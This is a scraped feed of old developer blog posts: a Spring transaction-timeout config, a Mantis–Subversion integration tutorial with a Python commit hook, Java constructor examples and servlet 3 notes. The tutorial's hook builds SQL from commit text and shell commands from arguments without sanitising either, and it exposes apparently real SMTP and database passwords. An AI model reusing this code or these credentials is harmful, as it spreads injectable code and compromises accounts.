</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">prop key</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"password"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">ramonal</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">prop</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><b><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">prop key</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"oracle.jdbc.ReadTimeout"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">5000</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">prop</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span></span></b><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">props</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">bean</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span></span></span></span></span></span></code></pre>
<br />
Now a long running transaction which past the set number of timeout seconds will be stopped automatically.<br />
<br />
UPDATED:<br />
Recently I ran test on spring3.0.5 + hibernate3.2.6, it seems that transaction timeout can work now.<br />
<br />
<br /></div>Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com0tag:blogger.com,1999:blog-30018430.post-28368600589605688722011-02-17T17:58:00.001+08:002011-02-17T17:58:29.268+08:00Integrate Mantis+Subversion on WindowsIntegrate Mantis+Subversion on Windows<br /><br />3 days ago I got a task to integrate mantis with subversion, so that each commit will be linked with a mantis' issue. I <br />am a java guy, and also know some about python(anyway I every learned python and adopted it in my project). Mantis is <br />developed by PHP, as I have some experience with script language, it is not a seemingly hard task for me.<br /><br />System:<br /> Apache 2.2<br /> Mantis 1.2.4<br /> Mysql 5.0<br /> PHP 5.3.5 (zip archieve)<br /> Python 2.6.6<br /> VisualSVN 2.1.5<br /> Window XP(32bit)<br /> <br />1. Install PHP<br /> * download PHP from http://www.php.net/<br /> * upzip to d:/php-5.3.5(you can unzip to any your favourite directory)<br /> * configure PHP. <br /> * Check to see if you already have a PHP configuration file or not: d:\php-5.3.5\php.ini.<br /> * If not copy d:\php-5.3.5\php.ini-production to d:\php-5.3.5\php.ini <br /> * Open this file php.ini with "notepad", uncomment '; extension_dir = "ext"'<br /> NOTE: maybe you should set extension_dir to absolute path d:/php-5.3.5/ext, as when I set it to 'ext', a strange<br /> window exception 'memory is only read' or something like that will be thrown out when try to launch apache.<br /> * set upload_max_filesize = 8M, you should make corresponding adjustment in mantis later.<br /> * load mysql module, uncomment this line ';extension=php_mysql.dll'<br /> * set timezone, or mantis will show some warning message 'date.timezone = Asia/Shanghai'<br /> <br />2. Install Python<br /> * download python from www.python.org, the version must be 2.6.X(I will explain why only 2.6.x later)<br /> * install python to d:/python26 (you can install to you favourite directory)<br /> * add python to window path environment vairable<br /> <br />3. Install Mysql<br /> * download mysql from www.mysql.com<br /> * install mysql to d:/mysql/mysql-server-5.0(you can install to you favourite directory). When installation, you'd<br /> better install the development kit also(c headers).<br /> * create 'root' user with password 'root'<br /> <br />4. Install Apache<br /> * download apache from www.apache.org<br /> * install apache to d:/apache2.2(you can install to you favourite directory)<br /> * configuring Apache to Use PHP as a Loaded Module<br /> * Use "notepad" to open d:\Apache2.2\conf\httpd.conf<br /> * Go to the LoadModule section and enter:<br /> LoadModule php5_module "d:/php-5.3.5/php5apache2_2.dll"<br /> PHPIniDir "d:/php-5.3.5"<br /> * Go to mime_module section and define a mime type as:<br /> <IfModule mime_module><br /> ... <br /> AddType application/x-httpd-php .php <br /> </IfModule><br /> NOTE: refer to http://windows.fyicenter.com/71_Apache_PHP_Tutorials_Installing_and_Running_Apache_Server_and.html<br /> <br />5. Setup Mantis in Apache<br /> * unzip mantis and copy to d:\apache2.2\htdocs, let's say it is D:\Apache2.2\htdocs\mantisbt <br /> * start apache server, and access 'http://localhost/mantisbt/admin/install.php'<br /> * follow the instruction to configure mantis, more detail pls refer to http://www.mantisbt.org/<br /> * configure email and more. below is my config_inc.php(if no-exist, create one) which can be found in D:\Apache2.2\htdocs\mantisbt.<br /> <?php<br /> <br /> #----------------------------------------#<br /> # DATABASE #<br /> #----------------------------------------#<br /> $g_hostname = 'localhost';<br /> $g_db_type = 'mysql';<br /> $g_database_name = 'mantisbt';<br /> $g_db_username = 'root';<br /> $g_db_password = '111111';<br /> <br /> #----------------------------------------#<br /> # INTERNATIONALIZATION #<br /> #----------------------------------------#<br /> #internationalize...chinese-simple UI<br /> #$g_default_language = 'auto';<br /> $g_default_language = 'english';<br /> <br /> #----------------------------------------#<br /> # FILE UPLOADING #<br /> #----------------------------------------#<br /> # must create a 'upload' folder in mantis, and set the upload folder as 'upload' when create project.<br /> $g_file_upload_method = DISK;<br /> # the max file size must be less than php configuration 8M<br /> $g_max_file_size = 7000000;<br /> <br /> #----------------------------------------#<br /> # LOG #<br /> #----------------------------------------#<br /> # looks like it doesn't work<br /> $g_log_destination = 'file:e:/tmp/mantis.log';<br /> <br /> #----------------------------------------#<br /> # EMAIL #<br /> #----------------------------------------#<br /> #$g_administrator_email = 'ramon.li@mpos.net';<br /> #$g_webmaster_email = 'ramon.li@mpos.net';<br /> # the sender email, part of 'From: ' header in emails<br /> #$g_from_email = 'mantis@mpos.net';<br /> # the sender name, part of 'From: ' header in emails<br /> $g_from_name = 'Mantis Bug Tracker';<br /> # the return address for bounced mail<br /> #$g_return_path_email = 'mantis@mpos.net';<br /> # allow email notification<br /> # note that if this is disabled, sign-up and password reset messages will<br /> # not be sent.<br /> $g_enable_email_notification = ON; <br /> $g_phpMailer_method = PHPMAILER_METHOD_SMTP;<br /> $g_smtp_host = 'mail.mpos.net';<br /> $g_smtp_port = 25;<br /> $g_smtp_connection_mode = '';<br /> $g_smtp_username = 'ramon.li@mpos.net';<br /> $g_smtp_password = 'ramonramon';<br /> <br /> ?><br /> * create new user of mantis...<br /> * create new project ... <br /> <br />6. Config MysqlDB for python<br /> * download binary package of mysql-python from http://www.technicalbard.com/files/MySQL-python-1.2.2.win32-py2.6.exe<br /> * install mysql-python<br /> NOTE: I ever tried to compile source package from http://mysql-python.sourceforge.net/, but it is really hard. In <br /> order to setup a gcc environment, I tried cygwin, mingw32, even visualC++, but what I got are all failure.<br /> <br />7. Install VisualSVN<br /> * download VisualSVN server from http://www.visualsvn.com/<br /> * create a new repository at "D:\project\VisualSVN-Server\Repositories\HelloWorld"<br /> <br />8. Integrate Subversion with Mantis<br /> * as on window, create pre-commit.bat at "D:\project\VisualSVN-Server\Repositories\HelloWorld\hooks" first.<br /> @echo off<br /> set path=%path%;"D:\SVN_SERVER\svn-win32-1.5.4\bin"<br /> setlocal<br /> set REPOS=%1<br /> set TXN=%2<br /> <br /> python D:\project\VisualSVN-Server\Repositories\HelloWorld\hooks\mantis_integration.py %REPOS% %TXN%<br /> <br /> if %errorlevel% gtr 0 goto err<br /> exit 0<br /> :err<br /> rem echo Empty log message not allowed. Commit aborted! 1>&2<br /> exit 1 <br /> * implement python script mantis_integration.py.<br /> """<br /> This script will integrate subversion with mantis, its general purpose is to verify that each commit of subversion must<br /> be linked with a open bug of mantis.<br /> """<br /> import sys,os,datetime,time<br /> import logging<br /> import re<br /> import _mysql as mysql<br /> <br /> # init logging<br /> LOG_FILENAME = 'e:/tmp/mantis_subversion.log'<br /> logging.basicConfig(filename=LOG_FILENAME,level=logging.ERROR)<br /> <br /> # database setting<br /> host = '192.168.2.9'<br /> username = 'root'<br /> password = 'root'<br /> database = 'mantisbt'<br /> <br /> # mantis setting<br /> mantis_user_id = 3 #user:'svn'<br /> <br /> def integrate_mantis(rep_path, txn):<br /> """<br /> update the log message and changed list of subversion to a mantis issue, the general work flow as below:<br /> 1. check if the log message follow a spcified pattern, if true, start to check mantis, otherwise rollback the transaction.<br /> 2. check if the issuse specified in log message exists in mantis, if false, rollback the transaction.<br /> 3. insert log message and changed list to mantis.<br /> """<br /> try:<br /> # the format of log message must follow '#issuenumber log'<br /> log = svnlook('log', rep_path, txn).strip()<br /> logging.debug('log=' + log)<br /> issue_number = get_issue_number(log)<br /> # extract the log message<br /> log = log[(log.find(' ')+1):].strip() <br /> <br /> author = svnlook('author', rep_path, txn).strip()<br /> logging.debug("author=" + author)<br /> changed = svnlook('changed', rep_path, txn).strip()<br /> logging.debug("changed=" + changed)<br /> <br /> #check if the issue exists in mantis<br /> conn = mysql.connect(host, username, password, database)<br /> # set charset, python will use UTF-8 as default<br /> conn.set_character_set('GBK')<br /> if is_issue_exist(conn, issue_number):<br /> update_mantis(conn, issue_number, author, log, changed)<br /> except Exception as e:<br /> logging.error(e)<br /> sys.exit(1)<br /> <br /> def update_mantis(conn, issue_number, author, log, changed):<br /> """<br /> insert a bug note to specifed issue in mantis.<br /> """<br /> note = author + "@" + datetime.datetime.now().ctime() + "<br/>" + log + "<br/><br/>" + changed<br /> query = "insert into mantis_bugnote_text_table(note) values('" + note + "')"; <br /> conn.query(query)<br /> bugnote_text_id = conn.insert_id()<br /> <br /> now = str(int(time.time()))<br /> query = "insert into mantis_bugnote_table(bug_id,reporter_id,bugnote_text_id,time_tracking,last_modified,date_submitted) "<br /> query += "values(" + issue_number + "," + str(mantis_user_id) + "," + str(bugnote_text_id) + ",0," + now + "," + now + ")"<br /> conn.query(query) <br /> <br /> def is_issue_exist(conn, issue_number):<br /> """<br /> does the issue with a specified number exists in mantis??<br /> """<br /> query = "select * from mantis_bug_table where id=" + issue_number<br /> conn.query(query)<br /> r = conn.store_result()<br /> if r.num_rows() <= 0:<br /> msg = "No issue(id=" + issue_number + ") exist in mantis"<br /> sys.stderr.write(msg)<br /> raise Exception(msg)<br /> return True<br /> <br /> def get_issue_number(log):<br /> log_pattern = r'^[#]{1}(\d+)[\s]+(.+)'<br /> result = re.search(log_pattern, log)<br /> if result == None:<br /> msg = 'the log message must follow: #issue_number log_message'<br /> sys.stderr.write(msg)<br /> raise Exception(msg)<br /> return result.groups()[0]<br /> <br /> def svnlook(subcommand, rep_path, txn):<br /> output = os.popen('svnlook ' + subcommand + ' ' + rep_path + ' -t ' + txn)<br /> #output = os.popen('svnlook ' + subcommand + ' ' + rep_path)<br /> return output.read()<br /> <br /> if __name__ == "__main__":<br /> if len(sys.argv) != 3:<br /> sys.stderr.write("[Usage] python " + sys.argv[0] + " $REP_PATH $TXN, pls check if you have provided all need arguments."); <br /> sys.exit(1);<br /> <br /> integrate_mantis(sys.argv[1], sys.argv[2]);Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com1tag:blogger.com,1999:blog-30018430.post-38937299875456817882011-02-10T17:04:00.000+08:002011-02-10T17:05:22.458+08:00Inheritence and ConstructorIf a class has no constructor, javac will add a default no parameter constructor to it automatically when compile, and all<br />classes are derived from Object which has a default blank constructor.<br />When call the constructor of a class, it will call constructor of superclass first, except that it explicitly calls another<br />constructor using this(...) or super(...).<br />Let's run some sample code.<br />class A{<br /> private int index = 11;<br /> public A(){<br /> System.out.println("A()");<br /> }<br /> <br /> public A(String s){<br /> System.out.println("A(String)");<br /> }<br /> <br /> public int getIndex(){<br /> return index;<br /> }<br />}<br /><br />class B extends A{<br /> private String name;<br /> public B(){<br />// this("ramon");<br /> System.out.println("B()");<br /> }<br /> <br /> public B(String name){<br />// super("ramon");<br /> System.out.println("B(String)");<br /> }<br />}<br /><br />// check the test case<br />public class Main{<br /> <br /> public static void main(String args[]){<br /> B b = new B();<br /> System.out.println("---------------");<br /> B b1 = new B("ramon");<br /> }<br />}<br /><br />The output is:<br />A()<br />B()<br />---------------<br />A()<br />B(String)<br />You can see that every constructor of B will call A() first, now we apply a little change.<br />class A{<br /> private int index = 11;<br /> public A(){<br /> System.out.println("A()");<br /> }<br /> <br /> public A(String s){<br /> System.out.println("A(String)");<br /> }<br /> <br /> public int getIndex(){<br /> return index;<br /> }<br />}<br /><br />class B extends A{<br /> private String name;<br /> public B(){<br /> this("ramon");<br /> System.out.println("B()");<br /> }<br /> <br /> public B(String name){<br />// super("ramon");<br /> System.out.println("B(String)");<br /> }<br />}<br /><br />// check the test case<br />public class Main{<br /> <br /> public static void main(String args[]){<br /> B b = new B();<br /> System.out.println("---------------");<br /> B b1 = new B("ramon");<br /> }<br />}<br />The output is :<br />A()<br />B(String)<br />B()<br />---------------<br />A()<br />B(String)<br />Due to this("ramon") in B(), it will call B(String name) first, but B(String name) also need to call A() first(call default constructor<br />of superclass), finally the output is:<br />A()<br />B(String)<br />B()<br /><br />Apply some more change:<br />class A{<br /> private int index = 11;<br /> public A(){<br /> System.out.println("A()");<br /> }<br /> <br /> public A(String s){<br /> System.out.println("A(String)");<br /> }<br /> <br /> public int getIndex(){<br /> return index;<br /> }<br />}<br /><br />class B extends A{<br /> private String name;<br /> public B(){<br /> this("ramon");<br /> System.out.println("B()");<br /> }<br /> <br /> public B(String name){<br /> super("ramon");<br /> System.out.println("B(String)");<br /> }<br />}<br /><br />// check the test case<br />public class Main{<br /> <br /> public static void main(String args[]){<br /> B b = new B();<br /> System.out.println("---------------");<br /> B b1 = new B("ramon");<br /> }<br />}<br />The output is:<br />A(String)<br />B(String)<br />B()<br />---------------<br />A(String)<br />B(String)<br />This time B() will call B(String name) first, but B(String name) will call A(String name) first(due to super("ramon")). <br />From the example above, you should know the relationship between constructor and inheritence.Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com0tag:blogger.com,1999:blog-30018430.post-88189894231338623072011-02-09T12:11:00.001+08:002011-02-09T12:11:22.981+08:00Go deep into servlet3Deep into Servlet3<br /><br />Servlet is the most widely used technology in j2ee platform, many developers know it, but not really understand it. In this article I would<br />like to share some more detailed understanding of it.<br /><br />Response and socket connection.<br />----------------------------------<br />The response object encapsultes all information to be returned from the server to the client. A socket connection is a physical connection<br />between client and server. In HTTP 1.0, each reqeust/response must establish a new connection, when servelt return the response to the client,<br />the connection will be closed wa well. But HTTP 1.1 introduces persistent connection, in this case, when servlet return the response to <br />the client, the connection will not be closed, the client can send a new request on this connection until either side closes the connection<br />explicitly. Anyway we must know that resposne is'nt a abstract of connection in the servlet context.<br /><br />- Response.flush(): will force the content in the buffer to be written to the client, the response will be considered as committed.<br />- Response.reset()/resetBuffer(): the reset() method clears the data in buffer when the response isn't committed. Headers and status code <br />set by the servlet prior to the reset call must be cleared as well. resetBuffer() will only reset the data in buffer.<br />- Response.setBufferSize(): The servlet can request a preferred buffer size, but the buffer assigned is not required to be the sieze requested<br />by the servlet, but must be at least as large as the size requested.<br /><br />Committed??<br />----------------------------------<br />The isCommitted() method return a boolean value indicating whether any response bytes have been returned to client. A servlet container is <br />allowed, but not required, to buffer output going to the client for efficiency purpose.When using a buffer, the container must immediately<br />flush the contents of a filled buffer to the client. If this is the first data that is sent to client, the response is considered as committed.<br /><br />To be successfully transmitted back to the client, headers must be set before the response is committed. Headers set after the response is <br />committed will be ignored by the servlet container.<br />Below methods will make the response to be committed:<br />- Response.flushBuffer()<br />- Response.getWriter().flush();<br />- Response.sendError(): The sendErro() method will set the appropriate headers and content body for an erro message to return to the client.<br />- Response.sendRedirect(): The sendRedirect() method will set the appropriate headers and content body to redirect the client to a different URL. <br />NOTE: sendErro() and sendRedirect() will have the side effect of committing the response, if it has not already committed,and terminating it.<br />No further outpu to the client should be made by the servlet after these methods are called. If data is written to the response after these <br />methods are called, the data will be ignored.<br /><br />Closure??<br />----------------------------------<br />When a response is closed,the container must immediately flush all remaining content in the response buffer to the client. the following events <br />indicate that the servlet has satisfied the request and that the response object i to be closed:<br />- The termination of the service() method os the servlet.<br />- The amount of content specified in the setContentLength() method of the response has been greater than zero and has been written to the response.<br />- The sendError() method is called.<br />- The sendRedirect() method is called.<br />- The complete() method on AsyncContext is called.<br /><br />Each response object is valid only within the scope of a servlet's service() method, or within the scope of a filter's doFilter() method, unless <br />the associated request object has asynchronous processing enabled for the component. If asynchronous processing on the associated reqeust is started,<br />then the reqeust object remains valid until complete() method on AsyncContext is called. Containers commonly recycle response objects in order to<br />avoid the performance overhead of response object creation.<br /><br />Dispatcher forward/include.<br />----------------------------------<br />The Container Provider should ensure that the dispatch of the request to a target servlet occurs in the same thread of the same JVM as the original <br />request.<br />- RequestDispatcher.include(): It can ben called at any time. The target servlet of the include method has access to all aspects of the request<br />object, but its use of the response object is more limited.<br />It can only write information to the ServletOuputStream or Writer of the response object and commit a response by writing content past the end of<br />the response buffer, or by ecplicitly calling the flushBuffer() method of the ServletResponse interface. It cannot set headers or call any method <br />that affects the ehaders of the response.<br />When return from target servlet, you can return content in the buffer to the client if the response object isn't closed, or even set headers if the<br />response object isnot committed.<br />- RequestDispatcher.forward(): This method may be called by the calling servlet only when no output has been committed to the client. If outpu data<br />exists in the response buffer that has not been committed, the content must be cleared before the target servlet's service() method is called. If <br />the response has been committed, all IllegalStateException must be thrown.<br />When return from the target servlet, the response object is closed, you cannot apply any modification to it any more.<br /><br />Asynchronous processing.<br />----------------------------------<br />Refer to http://www.javaworld.com/cgi-bin/mailto/x_java.cgi?pagetosend=/export/home/httpd/javaworld/javaworld/jw-02-2009/jw-02-servlet3.html&pagename=/javaworld/jw-02-2009/jw-02-servlet3.html&pageurl=http://www.javaworld.com/javaworld/jw-02-2009/jw-02-servlet3.html&site=jw_core<br />But when check the sourcecode of class SlowWebService which is a ServletContextListener, I found that there is a infinite loop in the contextInitiate() <br />method, that means when container try to lunch a web application, it will never be successful. I really don't understand why put a infinite loop block <br />there, my tests in jetty and tomcat both demonstrate that container will fall into the infinite loop and cannot go forward to finish the launch and cannot<br />be ready to serve any request from the client.Anonymoushttp://www.blogger.com/profile/15281890330341001231noreply@blogger.com0tag:blogger.com,1999:blog-30018430.post-14495349496342620842011-01-18T14:01:00.000+08:002011-01-18T14:02:56.056+08:00Using TOP more effectively (Repring)Disclaimer: this article is published by Mulyadi Santosa, I find it from http://www.linuxforums.org/articles/using-top-more-efficiently_89.html<br /><br />For desktop users, monitoring resource usage is an 